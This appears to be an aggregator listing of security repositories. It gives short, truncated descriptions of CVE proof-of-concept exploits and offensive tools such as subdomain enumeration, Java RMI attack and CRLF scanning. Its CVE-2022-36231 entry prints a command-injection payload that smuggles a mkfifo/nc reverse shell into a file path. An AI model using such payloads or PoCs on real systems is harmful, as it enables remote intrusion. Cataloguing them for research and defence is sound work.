The vulnerability of the Enlogic SCADA system “ENTEK” virtual controller, related to the use of a dangerous method or function that allows a intruder to execute arbitrary code in the operating system.

The vulnerability of the Enlogic SCADA system “ENTEK”’s virtual controller is related to the use of a dangerous method or function. Exploiting this vulnerability could allow a malicious actor to execute arbitrary code in the operating system remotely...

CVE-2022-41852

JXPathライブラリにおけるリモートコード実行 CVE-2022-41852 概念実証 CVE-2022-41852 は攻撃者がアプリケーションサーバ上でコードを実行することを可能にします。 この脆弱性の詳細はこちらをご覧ください: https://hackinglab.cz/en/blog/remote-code-execution-in-jxpath-library-cve-2022-41852/ 注記: 私はこのCVEの作者ではありません。この概念実証を作成したのみです。 便利なリンク JXPath GitHub JXPath Website MITRE CVE-2022-418...

CVE-2019-11358

CVE-2019-11358 プロトタイプ汚染 jQuery（3.4.0）の拡張メソッドで発生するプロトタイプ汚染のシンプルなPoC。 extendメソッドの最初の引数（deep）はtrueでなければなりません。...

Sudomy

Sudomy サブドメイン列挙と分析 Sudomy は、サブドメインの収集と、高度な自動偵察（フレームワーク）を実行するドメインの分析を行うサブドメイン列挙ツールです。このツールはOSINT（オープンソースインテリジェンス）活動にも使用できます。 機能 ! 最近では、 Sudomy には以下の20の機能があります： 簡単、軽量、高速かつ強力。Bashスクリプト（コントローラー）はほぼすべてのLinuxディストリビューションでデフォルトで利用可能。Bashスクリプトのマルチプロセッシング機能を使用することで、すべてのプロセッサを最適に活用できます。 サブドメイン列挙プロセスは、アクティブ...

remote-method-guesser

远程方法猜测器 remote-method-guesser rmg 是一个 Java RMI 漏洞扫描器，可用于识别和验证 Java RMI 端点上常见的安全漏洞。 remote-method-guesser 在 Black Hat USA2021 的 Arsenal 环节中进行了展示。该环节的录像及相应的幻灯片已公开，可通过以下链接获取： 幻灯片：https://www.slideshare.net/TobiasNeitzel/remotemethodguesser-bhusa2021-arsenal 录像：https://youtu.be/taw1mDNhzI...

RmiTaste

RmiTaste RmiTaste 允许安全专业人员通过使用 ysoserial 中的小工具调用远程方法来检测、枚举、交互和攻击 RMI 服务。它还允许使用特定参数调用远程方法。 免责声明 RmiTaste 旨在帮助安全专业人员识别系统中不安全的 RMI 服务，前提是用户已获得攻击该系统的许可。未经授权访问计算机系统是非法的，RmiTaste 必须遵守所有相关法律。否则可能导致您被起诉。RmiTaste 的开发者不承担任何责任，也不对因使用本程序造成的任何误用或损害负责。 构建与运行 需要 openjdk 11.0.3。 1. 下载 ysoserial-master-SNAPSHOT.j...

appinfo-standalone

UACME method 59 をスタンドアロン .C に移植 Youtube動画デモ: https://www.youtube.com/watch?v=UZdfh5RtR0&lc=UgxWnzgQ0x2KZBZIq6V4AaABAg...

Hooketh

Hooketh Fridaでの作業を容易にするスクリプト集。フックする正しい関数を見つけ、それを修正するのに役立つように設計されています。 使い方 両方のスクリプトについて、USB経由で接続されたデバイスがあるか、同じマシンでエミュレータが動作していることを前提としています。 お使いのマシンにfridaをインストールし、Androidデバイス/エミュレータ上でfridaサーバーが実行されていることを確認してください。 ActivityTracer.jsの使用...

study-turbolinks-link

JavaScript の使用法 https://github.com/turbolinks/turbolinksapi-reference Turbolinks.visit'/home/two' // default is advance. Turbolinks.visit'/home/two', action: 'advance' Turbolinks.visit'/home/two', action: 'replace'...

crlfuzz

CRLFuzz A fast tool to scan CRLF vulnerability written in Go Resources Installation from Binary from Source from GitHub Usage Basic Usage Flags Target Single URL URLs from list from Stdin Method Data Adding Headers Using Proxy Concurrency Silent Verbose Version Library Help & Bugs License Version...

CVE-2016-2098

CVE-2016-2098 Ruby on Rails 3.2.22.2 より前、4.1.14.2 より前の 4.x、および 4.2.5.2 より前の 4.2.x の Action Pack は、アプリケーションによる render メソッドの無制限な使用を悪用することで、リモートの攻撃者に任意の Ruby コードを実行される可能性があります。 https://vulners.com/cve/CVE-2016-2098 使用方法 git clone https://github.com/its-arun/CVE-2016-2098.git cd CVE-2016-2098 /bin/ba...

CVE-2024-55968

CVE-2024-55968 CVE-2024-55968 の LPE Exploit POC 脆弱性の説明 macOS DTEX Event Forwarder エージェント内で特権操作を処理する com.dtexsystems.helper サービスは、XPC プロセス間通信 IPC において重要なクライアント検証を実装していません。具体的には、このサービスは接続を試みるクライアントのコード要件、エンタイトルメント、セキュリティフラグ、バージョンを検証しません。この適切なロジック検証の欠如により、悪意のあるアクターは不正なクライアント接続を介してサービスのメソッドを悪用し、権限を...

CVE-2020-25540

CVE-2020-25540 ThinkAdmin CVE-2020-25540 poc 由于目录穿越那个洞太鸡肋，就只写了文件读取功能，带哥们轻喷，多多指教，感激不尽。 逻辑参考php源码，关键是加密方式，看一看就懂了 use age: python3 poc.py -t -c...

jadx-magic-strings

JADX Magic Strings Plugin 文字列定数から情報を抽出するJADXプラグインです。 機能 このプラグインは、逆コンパイルされたコードから文字列定数を抽出・解析して、以下を特定します： 1. ソースファイル参照 ：文字列定数内のJava/Kotlinソースファイル（.java、.kt、.kts、.scala、.groovy）への参照を検出します 2. メソッド名の候補 ：正規表現パターンを使用して、文字列から潜在的なメソッド名を特定します 3. 文字列解析 ：関連するメソッドとクラスとともに、すべての文字列定数を収集します インストール...

CVE-2026-104455

YesWiki before 4.6.7 contains an access control bypass vulnerability that allows unauthenticated attackers to read restricted page content via the recentchangesrssplus RSS action. Attackers can request the xml method of a page hosting the action to retrieve 500-character body excerpts of every...

printix-CVE-2022-29551

CVE-2022-29551 簡易版 | 印刷用 PrintixService.exe における「危険なメソッドまたは関数の公開」脆弱性（Kofax Printix の「Printix Secure Cloud Print Management」バージョン 1.3.1156.0 以下）により、ローカルまたはリモートの攻撃者が悪意のあるプリンタードライバーをインストールし、Printix サービスを通じて実行できるようになります。攻撃者はこれを利用して、悪意のあるドライバーコードをリモートで実行し、権限をシステムにまで昇格させることができます。...

CVE-2017-12615

In memory of Chia Junyuan https://packetstormsecurity.com/files/author/11924/ POC CVE-2017-12615 Windows上で動作するApache Tomcat 7.0.0から7.0.79を対象としたPOCエクスプロイトです。CVE-2017-12615 PUT JSP脆弱性。 説明: 設計上、Apache TomcatサーバーではPUTメソッドによるJSPファイルのアップロードは許可されていません。...

HookCase

HookCase HookCaseは、macOS（旧OS...

CVE-2020-11022

というわけで みんな、CVE-2020-11022 はバージョン 3.5.0 未満の jQuery に存在する脆弱性なんだ。CVE-2020-11022 自体は、.html や .append などの DOM 操作を利用して XSS を誘発し、悪意のある XSS コードを実行するものだ。 1. jQuery バージョンの検証: 対象が脆弱なバージョンの jQuery を使用していることを確認する。この脆弱性は 3.5.0 未満の jQuery に適用される（3.5.0 以降はパッチ済み）。 2. 対象要素の特定（ID のダンプ）: ページ上にある HTML 要素の id...

CVE-2022-36231

CVE-2022-36231 Ruby gem pdfinfo /dev/null initialize メソッドと同様に、@pdfpath 変数に対する検証は行われません。これにより、; を使用したコマンドチェーンを利用して任意のコマンドを実行できます。 info = PDF::Info.new'pdf/sample1.pdf; $rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2&1|nc 127.0.0.1 4444/tmp/f' pp info.metadata 上記のコードスニペットは、ポート 4444 で 127.0.0.1...